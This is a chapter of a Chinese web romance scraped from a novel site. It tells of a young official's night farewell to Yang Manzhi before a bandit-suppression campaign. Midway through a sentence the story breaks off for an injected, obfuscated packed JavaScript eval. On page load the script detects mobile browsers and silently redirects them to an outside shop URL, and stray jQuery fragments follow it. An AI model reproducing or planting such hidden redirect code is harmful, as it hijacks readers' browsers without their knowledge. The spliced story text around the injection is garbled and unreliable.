文趣网 > 其他小说 > 天杀的,白捡的男人跑了 > 37. 第 37 章
    “吃过了吗?什么时辰了?”

    懵懂的眼神逐渐清醒,杨满枝拉下沈砚耕的手,抬着头揉眼,带着些许埋怨的问道:“怎么才回来?”

    院子里没有点灯,只有身后的书房隐约透出些光亮来,柔和了沈砚耕的轮廓,杨满枝看不清他的表情,却能清晰的感知到他带着柔软的视线。

    “怎么不说话?”杨满枝拉着他的手晃了晃。

    “军队正在整备,”他嗓音有些沙哑,说:“我一个时辰后就要离开了。”

    “……”

    杨满枝顿了顿,问道:“那你什么时候能回来?”

    “若按计划执行,顺利清缴,一个月后就会回来。”

    “不顺利呢?”

    沈砚耕的手很暖,他沉默的牵着杨满枝回到书房,烛光明亮下,她泫然欲泣的眼睛像一把利剑。

    眉头不自觉的皱起,原先被忙碌挤压走的哀伤像涨潮一般漫上心头,沈砚耕抬手想擦擦她还未留下的眼泪,杨满枝一偏头甩下一滴泪来,松开他的手转身进了屏风后。

    沈砚耕跟了过去,就见她站在床边,床上都是些七零八碎的物件儿,杨满枝见他进来瞥了他一眼,语气平淡自顾自地说道:“时间匆忙,我来不及准备,你看哪些用得上就带过去。”

    “这是燧石和干艾绒,都是我自己搓的,”她从一旁拿出油纸将东西包好,拉开布包放了进去,“阴雨天也能打得着。”

    “这个骨哨是我常用,小巧又吹得远,要是和旁人走散了,比肉嗓子喊好使。”说着她又补了一句,“山里路不好走,你得跟紧了。”

    “这是治蛇虫叮咬的解读药膏,还有止血散,这是药婆祖传秘方,劲儿大但是要少用,驱虫药包也带上,山里毒虫多,你细皮嫩肉的要多关注。

    “盐块儿也不能少,对,还有这个,盔甲坚硬容易磨得手腕,你垫上这个皮护腕也舒服些。

    “本来还想给你准备些肉干,但时间太短了。”

    “还有——”

    杨满枝的叮嘱霎时没了声响,沈砚耕拉着她的手臂,叫她看向自己:“今天都在准备这些吗?折腾了一夜怎么不好好休息?”

    她垂下眼,像是卸了力气,坐在床榻上,轻飘飘地说了一句:“东西你爱带不带,反正我给你放这了。”

    手支在床柱子上,杨满枝盯着紧闭的窗户不知道在想些什么,沈砚耕将她准备好的布包放远了些,挪出空来在她身旁坐下。

    “你准备的东西,我自然是要带的。”沈砚耕探着头去瞧她的表情,问道:“怎么不高兴?”

    “没有不高兴。”

    “那你怎么不看我?”沈砚耕紧追不舍,杨满枝无言片刻。

    “你送我的剑鞘,作为证物被良英华扣了下来,”她就着这个姿势,语气平静地说道:“要结案了才能拿回来。”

    “没关系。”沈砚耕说着弯腰,从床榻下的暗格中摸出了一样东西,放在杨满枝手中,说:“这个给你。”

    手上冰凉的触觉沉甸甸的,杨满枝低下头,看清了他交给自己的东西。

    是那柄她不顾安危重下悬崖找到的断剑。

    “我以为弄丢了。”杨满枝轻轻摸着那剑柄上的纹路,此时,沈砚耕的手伸过来握住了她,他拉着她的手放在自己的胸口。

    “没丢。”

    沉重而有力的心跳透过掌心传到杨满枝的胸腔。

    “……怎么心跳得这么快?”杨满枝抬头望着他,说:“哪里难受吗?”

    “它一直都这样。”沈砚耕垂眸望着杨满枝,眼中是抹不开的柔情,“只要你在我身边。”

    “你怎么了?”突然起来的剖白反倒是将一向主动地杨满枝吓了一跳,她想要抽开手,沈砚耕却将它拽得紧紧的。

    “只是觉得你需要知道。”沈砚耕坐的很近,两人的膝头挨在一起,他说:“为人臣,忠君事,我食万民俸禄,便应当竭尽全力解决民生之忧。”

    “而且,我需要实绩才能在朝中站稳脚跟,”沈砚耕将摁在心口的手放下,两只手握着放在腿上,“你也不必像如今处处小心。”

    “但我的确有隐瞒你的心思,”沈砚耕坦白说:“我向你道歉。”

    “为什么?”

    沈砚耕想了想,说道:“你知道近乡情怯吗?有些事情,我反倒是不能与你直截了当的坦白。”

    杨满枝锐利的眼睛此刻化成了水,她略带委屈地回答:“听不懂。”

    目光从眉眼逐渐下移,沈砚耕看着杨满枝撇下的嘴角,伸手捧着她脸,拇指摩挲在她的耳侧,鬼使神差的凑近了些,但出乎意料的是,还在生闷气的杨满枝歪头蹭了蹭他的掌心。

    这下,轮到沈砚耕被吓了一条,他匆忙撒开手,捂了捂自己的眼睛,还没整理好思绪,腿上忽然一沉,杨满枝握着他的另一只手枕在他的膝头。

    身体僵硬的不成样子,杨满枝脸朝外,用手拍了拍他的腿,示意沈砚耕放松。

    “这……”

    “你刚才都摸我脸了。”杨满枝先发制人,打断了他用来拒绝的“于礼不合”,“你可不能只许州官放火不许百姓点灯。”

    这样的接触实在是太过,沈砚耕在她看不见的地方,险些要将嘴唇咬破,他脸色涨红,另一只手不知道该往哪儿放。

    “你今天是不是特别高兴?”

    “为……咳咳,”一开口险些劈了嗓子,沈砚耕努力放松身体,好让她靠得舒服些,“为什么这么问?”

    “我可以感觉到,今天你的眼睛特别漂亮,”杨满枝捏着朝服上的暗纹,说道:“有个成语怎么说来着,容光焕发?”

    杨满枝的鼻梁高挺,侧面看不到眉眼,到有了少见的恬静,沈砚耕垂头盯着看,回答道:“嗯,高兴得想要沿着邺平所有大道敲锣打鼓,告诉所有人我大仇得报。”

    “哼哼,”杨满枝抿着嘴偷笑,沈砚耕看她笑弯了眼,嘴角也跟着上扬,随后他眼神暗了暗,说:“只是很可惜,沈明齐将自己摘了个干净。”

    “余下的案件还未有定论,你若是离开了,接下来怎么处理?”

    “案件既然已经上报,一切便按照流程行事,待陛下首肯,在京兆府见证下,开棺验尸。”

    “死后掘坟,若是有人来阻止怎么办?”

    “谁来,谁便是帮凶。”

    “公堂上,沈明齐是什么表情?”

    “气得想把我一口吞了。”

    原先缓和的表情瞬间紧张起来,她抿了抿唇,问道:“那怎么办?不然我趁着月黑风高,把他……以免他以后要害你。”她抬起手做了个动作,沈砚耕无奈抬起手敲了敲她的额头。

    “不行,”沈砚耕刚敲完,有立马轻轻揉搓她的额头,说:“我不许你因为旁的事,擅自冒险。”

    “好了好了,”杨满枝一听他说,就捂着耳朵,不耐烦地说:“你总是这样,尽说些我不爱听的。”

    沈砚耕轻笑一声,拉开她的手,低头凑近了些,在耳朵上方说道:“忠言逆耳。”

    “听不懂。”杨满枝埋首腿间闭门造车,也借动作的变动,沈砚耕几乎被压麻的手抽了出来了,他扯了扯杨满枝的耳朵,叫她好好躺着,不要乱动。

    杨满枝痒得缩了缩肩膀,忽而轻声问道:“宋玉会后悔吗?”

    “后悔什么?”

    “后悔自己害死你母亲。”

    沈砚耕沉默了一瞬,然后说道:“她或许只会后悔被发现了吧。”

    “我听府中人说,宋玉的字是安夫人教的,这样走到你死我亡的两个人,又是因为什么有过这样的曾经呢?”

    “我记不清了,”沈砚耕看着床头的烛台,思绪飘回了从前,他缓慢说道:“母亲还在世时,宋玉也算恭敬,即便是父亲独宠,却也没有做出些太过分的事情。

    “母亲因病时常卧床,宋玉偶尔回来探望

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17758409|207619||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,不过母亲不见她,她也只能在院中问上我几句。

    “先前以为她关心母亲,现下看来,我也分不清她是何居心。”

    杨满枝长舒一口气,手指轻敲沈砚耕的膝盖,感慨道:“唉,何苦,何苦。”

    气氛刹时变得有些凝重,沈砚耕望着她惋惜的模样,开口转移话题:“宋玉被捕,管家大事我便交由佳敏,她原本只管着东院和桃园,如今恐怕是分身乏术。

    “你要好好念书,不要顽皮。”

    正伤春悲秋的杨满枝听见读书瞬间瘪了瘪嘴,她转过身面朝上看着沈砚耕:“知道了知道了,你怎么比戴先生还唠叨。”

    “不是唠叨,”沈砚耕轻笑:“我只怕寄信给你,你还要让旁人来读信。”

    “什么?”杨满枝愣了愣,问道:“你要写信给我吗?”

    “剿匪地在岭东县以北的驼峰山,离京城不远,我会常常给你写信的。”

    “真的吗?”互通书信的故事,杨满枝只在说书人口中听过两三句,此刻便觉得新奇,“我也可以寄给你吗?”

    “嗯,”沈砚耕看着她兴奋地样子,然不住抬手抚摸她的额角,“你交给沈十,他会去寄的。”

    只是还没高兴多久,杨满枝回过味儿来,她眼神一眯瞪着沈砚耕:“原来你一早就打算好了!你就不怕我生气了不肯见你吗?”

    “怕啊,”毛茸茸的碎发被他的拇指捋平,沈砚耕回答道:“但我知道怎么哄你。”

    “哦?”杨满枝双臂抱胸,好整以暇地说:“那让我看看你怎么哄?”

    “哼哼,”两个人走得越久,互相影响便越大,沈砚耕也学着她的抿嘴笑,移动手掌捂住了她眼睛。

    “这算什么哄法?”视线被遮住,只有从指缝透进来的片缕烛光。

    眼睛里是不在移至的汹涌的情绪,沈砚耕缓慢低下头,在自己的手背上落下一个羽毛般的吻。

    声音强装得一如往常,沈砚耕事无巨细地叮嘱道:“遇到什么问题解决不了的就去找姨母,她会帮你的,沈十和沈同都会跟着你,这段时间就别把他们甩下自己跑掉了。

    “沈明齐忙着处理父亲的案子,想来也不会找你麻烦,倘若他当真招惹你了,便去找良英华和元江,他们知道怎么做。

    “这段时间天气阴晴不定,要及时添衣,不要因为热了便穿得单薄,倒春寒最容易生病。

    “有什么想吃的、想要的或者银钱之类都可以找佳敏,她……”

    “沈砚耕?”杨满枝听着他沉沉地声音,不知为何有些不安,她拉下遮住眼睛的手,看着沈砚耕问:“我不能跟着一起去吗?”

    “不能。”他拒绝的很果断。

    “为什么?”

    “有一件事情我想要请你帮我,”手掌放在杨满枝的锁骨,沈砚耕可以清楚地感受到她的脉搏,他顿了顿说道:“三日后的清明,替我去为母亲扫墓。”

    “我……可以吗?”

    “当然。”

    杨满枝眼神一亮,郑重地点了点头,说:“好。”

    秉烛夜话,纱窗剪影,两人互相叮嘱又互相担忧,絮絮叨叨说了许多话,不知不觉间,杨满枝闭上了眼睛,连回答也是在说梦话。

    身体猛然一抖,杨满枝惊醒,她猛然坐起,发觉书房内已经空无一人,她慌忙起身,手中无意间抓到一个小小荷包。

    再一看,原先为沈砚耕远行准备的东西也被拿走了,她鼻头一酸,手中攥着荷包便跌跌撞撞的跑了出去。

    一路上空无一人,让杨满枝疑心仍在梦中,转出前庭,所有人站成一圈,而沈砚耕就在其中。

    他嘴巴张合似乎在吩咐什么,旁人低着头仔细聆听。

    “沈砚耕!”

    杨满枝大喊一声,吸引众人目光,只见她三两步扑进沈砚耕怀里,将他的腰搂得极紧。

    佳敏轻咳一声,其余人背过身去,眼观鼻,鼻观心。